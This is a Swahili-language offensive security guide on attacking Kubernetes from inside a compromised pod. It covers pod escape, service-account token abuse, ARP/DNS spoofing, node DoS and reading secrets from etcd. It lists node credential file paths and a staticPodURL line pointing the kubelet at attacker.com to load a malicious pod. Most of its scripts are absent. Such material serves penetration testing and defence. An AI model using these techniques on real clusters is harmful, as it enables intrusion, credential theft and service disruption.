Attacking Kubernetes from inside a Pod
Kuvunja Pod
Ikiwa una bahati ya kutosha, unaweza kufanikiwa kutoroka kutoka kwenye pod kwenda kwenye node:
Kutoroka kutoka kwenye pod
Ili kujaribu kutoroka kutoka kwenye pod unaweza kuhitaji kuinua mamlaka kwanza, baadhi ya mbinu za kufanya hivyo:
Unaweza kuangalia kuvunja docker hizi kujaribu kutoroka kutoka kwenye pod uliyoshambuliwa:
Kutumia Mamlaka za Kubernetes
Kama ilivyoelezwa katika sehemu kuhusu uchambuzi wa kubernetes:
Kubernetes EnumerationKawaida pods hufanyishwa kazi na tokeni ya akaunti ya huduma ndani yao. Akaunti hii ya huduma inaweza kuwa na mamlaka zilizowekwa ambazo unaweza kutumia vibaya kwa kusonga kwenye pods nyingine au hata kutoroka kwenda kwenye nodi zilizowekwa ndani ya kikundi. Angalia jinsi ya kufanya hivyo:
Abusing Roles/ClusterRoles in KubernetesKutumia Mamlaka za Cloud
Ikiwa pod inafanyishwa kazi ndani ya mazingira ya wingu unaweza kuweza kuvuja tokeni kutoka kwa mwisho wa metadata na kuinua mamlaka kuitumia.
Tafuta huduma za mtandao zenye kasoro
Ukiwa ndani ya mazingira ya Kubernetes, ikiwa huwezi kuinua mamlaka kwa kutumia vibaya mamlaka ya sasa ya pods na huwezi kutoroka kutoka kwenye chombo, unapaswa kutafuta huduma za mtandao zenye kasoro.
Huduma
Kwa lengo hili, unaweza kujaribu kupata huduma zote za mazingira ya kubernetes:
Kwa chaguo-msingi, Kubernetes hutumia mpangilio wa mtandao wa gorofa, ambao maana yake ni pod/huduma yoyote ndani ya kikundi inaweza kuongea na nyingine. Nafasi ndani ya kikundi hazina vizuizi vya usalama wa mtandao kwa chaguo-msingi. Mtu yeyote katika nafasi anaweza kuongea na nafasi nyingine.
Kuchunguza
Skripti ifuatayo ya Bash (iliyochukuliwa kutoka kwa warsha ya Kubernetes) itainstall na kuchunguza safu za IP za kikundi cha kubernetes:
Angalia ukurasa ufuatao kujifunza jinsi unavyoweza kushambulia huduma maalum za Kubernetes ili kudhoofisha vikasha vingine/vyote mazingira:
Pentesting Kubernetes ServicesKuvuta
Kwa kesi ambapo kasha lililodhoofishwa linatumia huduma nyeti ambapo vikasha vingine vinahitaji kuthibitisha unaweza kupata vibali vilivyotumwa kutoka kwa vikasha vingine kwa kuvuta mawasiliano ya ndani.
Udukuzi wa Mtandao
Kwa njia za msingi kama udukuzi wa ARP (na shukrani kwa hilo Udukuzi wa DNS) hufanya kazi kwenye mtandao wa kubernetes. Kisha, ndani ya kasha, ikiwa una uwezo wa NET_RAW (ambao upo kwa chaguo-msingi), utaweza kutuma pakiti za mtandao zilizoundwa kwa desturi na kutekeleza mashambulizi ya MitM kupitia Udukuzi wa ARP kwa vikasha vyote vinavyotumika kwenye nodi ile ile. Zaidi ya hayo, ikiwa kasha lenye nia mbaya linatumika kwenye nodi ile ile kama Seva ya DNS, utaweza kutekeleza shambulizi la Udukuzi wa DNS kwa vikasha vyote kwenye kikundi.
Kubernetes Network AttacksNode DoS
Hakuna maelezo ya rasilimali katika hati za Kubernetes na mipaka ya kikomo haijaombwa kwa vyombo. Kama mshambuliaji, tunaweza kutumia rasilimali zote ambapo kasha/kupelekwa kunafanya kazi na kumaliza rasilimali zingine na kusababisha DoS kwa mazingira.
Hii inaweza kufanywa kwa kutumia chombo kama stress-ng:
Unaweza kuona tofauti wakati unapoendesha stress-ng
na baada ya hapo
Uchimbaji wa Baada ya Exploitation wa Node
Ikiwa umefanikiwa kutoroka kutoka kwa kontena kuna vitu vingine vya kuvutia utakavyopata kwenye node:
Mchakato wa Container Runtime (Docker)
Zaidi ya pods/macontainer yanayoendesha kwenye node unaweza kutumia kama huu (zaidi ya vitufe)
Filesystem nzima na OS kwa ujumla
Huduma ya Kube-Proxy inayosikiliza
Huduma ya Kubelet inayosikiliza. Angalia faili za usanidi:
Daktari:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Faili nyingine za kawaida za kubernetes:
$HOME/.kube/config
- Usanidi wa Mtumiaji/etc/kubernetes/kubelet.conf
- Usanidi wa Kawaida/etc/kubernetes/bootstrap-kubelet.conf
- Usanidi wa Bootstrap/etc/kubernetes/manifests/etcd.yaml
- Usanidi wa etcd/etc/kubernetes/pki
- Muhimu za Kubernetes
Pata kubeconfig ya node
Ikiwa huwezi kupata faili ya kubeconfig kwenye moja ya njia zilizotajwa hapo awali, angalia hoja --kubeconfig
ya mchakato wa kubelet:
Pora Siri
The script can-they.sh itapata moja kwa moja vitufe vya makasha mengine na kuchunguza kama vina ruhusa unayoitafuta (badala ya wewe kutazama moja kwa moja):
DaemonSets Wenye Haki Maalum
DaemonSet ni pod ambayo itaendeshwa kwenye nodes zote za kikundi. Kwa hivyo, ikiwa DaemonSet imeboreshwa na akaunti ya huduma yenye haki maalum, kwenye nodes ZOTE utaweza kupata ishara ya akaunti ya huduma yenye haki maalum ambayo unaweza kutumia vibaya.
Udanganyifu ni ule ule kama katika sehemu iliyopita, lakini sasa hauitaji kutegemea bahati.
Kugeukia Kwenye Wingu
Ikiwa kikundi kinasimamiwa na huduma ya wingu, kawaida Node itakuwa na ufikiaji tofauti kwa kiishara mwisho kuliko Pod. Kwa hivyo, jaribu kufikia kiishara cha metadata kutoka kwenye node (au kutoka kwa pod na hostNetwork kuwa True):
Kubernetes Pivoting to CloudsKuiba etcd
Ikiwa unaweza kubainisha jinaNode ya Node ambayo itaendesha chombo, pata kabati ndani ya node ya udhibiti na pata databesu ya etcd:
control-plane nodes wana jukumu la kiongozi na katika kikundi cha wingu kilichosimamiwa hutoweza kuendesha chochote ndani yao.
Soma siri kutoka kwa etcd
Ikiwa unaweza kuendesha podi yako kwenye kifaa cha kudhibiti cha kiongozi kwa kutumia chaguo la nodeName
katika maelezo ya podi, unaweza kupata upatikanaji rahisi kwa database ya etcd
, ambayo ina mazingira yote ya kikundi, ikiwa ni pamoja na siri zote.
Hapa chini ni njia ya haraka na chafu ya kunasa siri kutoka kwa etcd
ikiwa inaendeshwa kwenye kifaa cha kudhibiti cha kiongozi uliopo. Ikiwa unataka suluhisho lenye mvuto zaidi ambalo linazindua podi na zana ya mteja wa etcd
etcdctl
na kutumia sifa za kifaa cha kudhibiti cha kiongozi kuunganisha na etcd popote inapoendeshwa, angalia mfano huu wa hati kutoka @mauilion.
Angalia ili uone kama etcd
inaendeshwa kwenye kifaa cha kudhibiti cha kiongozi na uone wapi database iko (Hii ni kwenye kikundi kilichoundwa na kubeadm
)
Angalia data katika database ya etcd:
Chukua vibali kutoka kwenye database na onesha jina la akaunti ya huduma
Amri ileile, lakini greps fulani ili irudishe tu token ya chaguo-msingi katika nafasi ya kube-system
Uthabiti wa Pods wa Stati/Mirrored
Pods za Stati zinasimamiwa moja kwa moja na kifaa cha kubelet kwenye node maalum, bila seva ya API kuwaona. Tofauti na Pods zinazosimamiwa na mtego wa kudhibiti (kwa mfano, Upelekaji); badala yake, kubelet hufuatilia kila Pod ya Stati (na kuizindua upya ikiwa inashindwa).
Hivyo basi, Pods za Stati daima zimefungwa kwa kubelet moja kwenye node maalum.
Kubelet kiotomatiki jaribu kuunda Pod ya kioo kwenye seva ya API ya Kubernetes kwa kila Pod ya Stati. Hii inamaanisha kwamba Pods zinazoendesha kwenye node zinaonekana kwenye seva ya API, lakini haziwezi kudhibitiwa kutoka hapo. Majina ya Pod yatakuwa yameongezewa na jina la mwenyeji wa node na alama ya mstari mbele.
spec
ya Pod ya Stati haiwezi kurejelea vitu vingine vya API (k.m., Akaunti ya Huduma, Ramani ya Usanidi, Siri, n.k. Kwa hivyo hauwezi kutumia tabia hii vibaya kuzindua pod na Akaunti ya Huduma isiyo na mpangilio kwenye node ya sasa kuhatarisha kikundi. Lakini unaweza kutumia hii kuzindua pods katika nafasi tofauti (ikiwa hiyo ni muhimu kwa sababu fulani).
Ikiwa uko ndani ya mwenyeji wa node unaweza kufanya iundwe pod ya stati ndani yake mwenyewe. Hii ni muhimu sana kwa sababu inaweza kukuruhusu kuunda pod katika nafasi tofauti kama vile kube-system.
Ili kuunda pod ya stati, nyaraka ni msaada mzuri. Kimsingi unahitaji mambo 2:
Sanidi parameta
--pod-manifest-path=/etc/kubernetes/manifests
katika huduma ya kubelet, au katika mipangilio ya kubelet (staticPodPath) na kuzindua upya hudumaUnda ufafanuzi kwenye ufafanuzi wa pod katika
/etc/kubernetes/manifests
Njia nyingine ya siri zaidi itakuwa:
Badilisha parameta
staticPodURL
kutoka kwenye faili ya mipangilio ya kubelet na weka kitu kamastaticPodURL: http://attacker.com:8765/pod.yaml
. Hii itafanya mchakato wa kubelet kuunda pod ya stati ikipata ufafanuzi kutoka kwenye URL iliyotajwa.
Mfano wa ufafanuzi wa pod wa kuunda pod yenye haki za ziada katika kube-system iliyochukuliwa kutoka hapa:
Futa pods + nodes zisizoweza kupangwa
Ikiwa mshambuliaji amevamia node na anaweza kufuta pods kutoka kwa nodes nyingine na kufanya nodes nyingine zisweze kutekeleza pods, pods zitarudiwa kwenye node iliyovamiwa na ataweza kuiba tokeni zilizotekelezwa ndani yao. Kwa mambo zaidi fuata viungo hivi.
Zana za Kiotomatiki
Last updated